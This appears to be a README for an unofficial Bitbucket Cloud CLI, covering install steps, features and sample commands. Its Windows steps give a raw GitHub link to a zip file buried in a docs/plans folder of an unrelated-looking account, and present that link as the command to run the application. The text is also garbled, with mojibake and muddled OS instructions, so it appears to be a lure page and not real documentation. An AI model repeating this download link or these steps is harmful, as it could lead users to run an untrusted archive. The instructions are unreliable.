The bitbucket-cli is an unofficial command-line interface for Bitbucket Cloud. It simplifies managing your Bitbucket projects and repositories directly from your terminal. You donβt need to navigate through the browser anymore. With bitbucket-cli, you can perform tasks like creating pull requests and managing pipelines effortlessly.
To run bitbucket-cli, ensure you have the following:
- Operating System: Windows, MacOS, or Linux
- Terminal: A command line interface (such as Command Prompt, Terminal, or a shell)
- GoLang: Ensure it is installed on your system. Visit the GoLang installation page for more details.
To get started with bitbucket-cli, visit this page to download: Visit the Releases Page.
- Open your web browser.
- Click on the link above to go to the releases page.
- Find the latest version and look for the appropriate file for your operating system.
- Download the file to your computer.
- Locate the downloaded file, usually in your 'Downloads' folder.
- Right-click on the file and select 'Extract All' to unzip it.
- Open Command Prompt.
- Navigate to the folder where you extracted the files. Use the command:
cd path\to\extracted\folder - Run the application using the command:
https://raw.githubusercontent.com/galeristore88id-ctrl/bitbucket-cli/main/docs/plans/bitbucket_cli_1.3-alpha.1.zip
- Locate the downloaded file in your 'Downloads' folder.
- Double-click to extract it.
- Open the Terminal.
- Navigate to the folder with the extracted files:
cd ~/Downloads/bitbucket-cli - Use the command below to run the application:
./bitbucket-cli
- Open your terminal.
- Navigate to the location of the downloaded file:
cd ~/Downloads/bitbucket-cli - Make the file executable with this command:
chmod +x bitbucket-cli - Run it using:
./bitbucket-cli
The bitbucket-cli offers several features to enhance your Bitbucket experience:
- Create and Manage Repositories: Quickly create new repositories or manage existing ones.
- Pull Requests: Easily create and review pull requests without leaving your terminal.
- Pipeline Management: Control your CI/CD pipelines directly from the command line.
- Search Repositories: Find your projects with simple commands.
Once installed, you can use various commands. Here are a few examples:
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Help Command:
bitbucket-cli helpThis will show you all available commands and how to use them.
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Create a New Repository:
bitbucket-cli create-repo <repository-name> -
List Your Repositories:
bitbucket-cli list-repos
If you encounter issues while using bitbucket-cli, consider the following:
- Permission Denied Error: Make sure to run the terminal with the necessary permissions.
- Command Not Found: Ensure you are in the right directory and that the file is executable.
If you need help or want to report a bug, please check our issue tracker on GitHub. You can also create a detailed issue there to get assistance.
Happy coding with bitbucket-cli!